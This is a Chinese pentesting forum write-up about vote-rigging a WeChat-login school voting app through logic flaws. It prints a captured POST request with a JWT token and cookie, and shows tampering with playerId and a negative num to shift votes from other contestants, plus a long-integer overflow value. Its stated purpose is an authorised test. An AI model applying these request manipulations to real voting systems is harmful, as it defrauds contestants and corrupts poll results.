中国网络渗透测试联盟
标题:
原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[打印本页]
作者:
admin
时间:
2021-12-30 13:52
标题:
原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[md]**最近一直在学习逻辑漏洞,偶然看到我家小孩学校组织的投票活动,得知老师组织这次投票活动,我专门向老师申请做一次逻辑漏洞测试,老师说非常欢迎,老师说对我这个玩电脑的家长早有耳闻,于是便有了以下的过程。此测试过程必须1、微信登陆下投票 2、token验证jwt加密,解密发现openid等参数**
" v7 t% s- r0 v$ ] s& o+ D* g
2 `- B3 {3 C& T) N/ m
; V- ]# [/ L* V& L* _; ]
**1** **、第一种方法突破微信登陆投票**
5 f8 z7 ~8 p& n
6 p, P2 K* P( Y* q
一个微信账号一天投3票之扣别人的票增加自己的余票实现刷票
- |( L* P& p: z+ m( h5 e4 n3 r# s+ J
# g# D9 [4 m" L$ I2 ^' A" w
首先用微信识别老师发来的投票二维码如图:
- d* r2 |5 f& D, v) Y. k Y
7 C' b' b# e0 V9 f9 Q4 C
![image.png](data/attachment/forum/202112/30/134534pzg7kjhhvmcuhpim.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
* w' i) @1 y. n, k2 z6 [3 w E
9 a2 u* d* k% W4 R/ R+ t2 U
使用微信号登陆,不停的放包,直到这里
4 f6 ?8 C2 M) L7 _4 `
' j' D. H( F2 y( @. G
![image.png](data/attachment/forum/202112/30/134608bhq1ihzxuigv2g1g.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
3 ~1 z5 a s; A" y3 E6 D
# r8 z6 Y9 _/ E. D! ~
修改playerIdwei为别人的,因为用自己的playerid,自己的票数为变为-负数,修改num数为负数,如-9999,因为num参数可控,这时候你的票数会多出9999票,别人会少9999票,打个比方如图:
( b8 P/ z, C, m8 d
% [1 j/ B# v2 l
![image.png](data/attachment/forum/202112/30/134642y5r9rz0q00rob5yb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
- a" V1 u, t8 i1 `% X
6 o* O# \7 x7 T
) W$ ]6 ?4 V B+ Z/ G
6 ]6 b# u$ K( j* ]
这时候你就在你的账号不停歇的点投票就行,直到超过第一名,如图:
$ j) {/ S9 h) z/ w
2 V. L' R# C* B8 ]6 P: G
![image.png](data/attachment/forum/202112/30/134740v0yd8lly3ndlojf8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
- N, S% c+ S1 G9 V2 Z/ C
) ]/ m( Y! m$ w; H8 A( V3 g
: E. f' x: }, c G% P
, u6 E7 a8 _; r, m
票数瞬间变为1002票,本来一个微信号一天只能投一个选手3票,这时候已经成功突破,秒变1002票。。。
: ?6 e& k& I6 _" {
7 U% e' I/ c- Y0 g& v
以上是第一种方法刷票,扣别人的票,加自己的余票,然后再刷给自己。。。**
% n2 E; }' K( c& x" v
4 V" V8 t' q' D+ ?% E$ Z; k$ v
**2** **、**** ** **第二种方法利用** **long** **长整型溢出刷票**
9 V* y6 V% \1 _6 O k7 G
% _4 ^' N: k- J5 f7 r
同样到这个包,如下:
* L' N9 x/ d$ Q" _ u9 R7 R. q
1 H' A6 b& _) v4 ^9 B
```
! U8 l/ x4 c" {0 k
POST /vote/api/wx/voteFree/add HTTP/1.1
; @, G, n: I. s% Y& g
Host: 111.cn
# |* J+ m& {/ I1 ?
Content-Length: 73
5 f' t. j' ~4 {4 P6 q0 d
Accept: application/json, text/javascript, */*; q=0.01
1 R! R1 C5 [7 P, j0 ?! d
X-Requested-With: XMLHttpRequest
: z$ D; |8 y, W1 n& \4 L% Q& U
User-Agent: Mozilla/5.0 (Linux; Android 10; TEL-AN00a Build/HONORTEL-AN00a; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/3773 MicroMessenger/8.0.15.2020(0x28000F3D) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64
' m! x9 b/ S" d
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0
1 S/ I; v: Y- O' P2 q3 z+ Z
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
1 V; n3 ] w3 B7 Q
Origin:
http://111.cn
( N. H" u, v# a( `1 S( S' V# D' q
Referer:
http://111.cn/welcome/detail.html?activityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&skin=default
1 x, s! e9 H! T M
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
0 @! G( v' _2 I; ~3 r
Cookie: SESSION=MWE3NDU3NWItM2MzMS00YWJmLTkxZTItNmU2MWQ0NzNhZDk5; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0; appid=wx6656xxoocd3e6xxoo
, V' ?' S0 D+ S9 q( x1 a
Connection: close
3 b" c @+ G0 b- T, D: G
voteActivityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&num=3
4 {9 v* Z) f4 v9 `
+ C. _; w* u' b) Z% O
```
* J# [$ Q' @% S+ U5 q
0 f# C- P+ n- P
修改num=3333333{},如图:
: ^% R: J: s1 r" c, j# L- q
4 ^. o5 T* q0 g7 V J
![image.png](data/attachment/forum/202112/30/134946uqvclqqb4vdy8oqt.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
& a2 a' F% Y6 Q; t' c& v J
, Q% h3 O$ F1 E% q" O
& X# i. d- D. ^8 N) a5 E# H
8 w$ h+ D" `% m' W# w2 w0 O9 Q6 S% e G
判断为long长整型,既然num=-333333可控,那我们就把num=-333333改为2的63次方,也就是num=-9223372036854775808,执行完以后,提示500错误,提示超出范围。。。然后微信打开投票二维码就卡半天了,恢复之前如图:
, a3 @9 f+ k) X [ D$ z; H+ e- s
+ k+ s4 p! t; Y* s" t4 E
![image.png](data/attachment/forum/202112/30/135025yj3ozszo4ggaojgj.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
+ L. N9 L6 x/ L9 V3 g4 Q
( D% S7 P) J( ?, p
- |! @/ b0 y! b2 H+ ?
* K1 U7 {( y1 U9 ?
这是之前测试的时候不小心搞成,所以才有了第二种方法。。。。。
: d5 Z ` I: _+ S( [7 t S
& Y' n8 A0 q; V8 l+ ]& @ c& b
也就是刷票数为负 -270多万,如上图。。。
4 M; z9 z4 Z2 o
1 j/ O7 ^- b1 n* z6 ^% z
等溢出恢复以后票数变成15W多,排名第一,如图:
: ^! P, h# a' L2 _( H
q8 q1 q* g; z. A T' y. n4 i5 h3 {
U# F/ i6 [2 W" u
![image.png](data/attachment/forum/202112/30/135104bemec992s9udxfzd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
e: z0 S0 ~5 U9 |
6 Z$ ^6 o" i- m. y
**注:由于测试过程没有保存录像或图片,导致溢出以后的返回包没能贴图,不过没关系,正负数都试一遍,一般参数可负数的话,直接负的最大溢出量就够了。。。**
( J: ~* m1 z4 S- {! f+ @
[/md]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2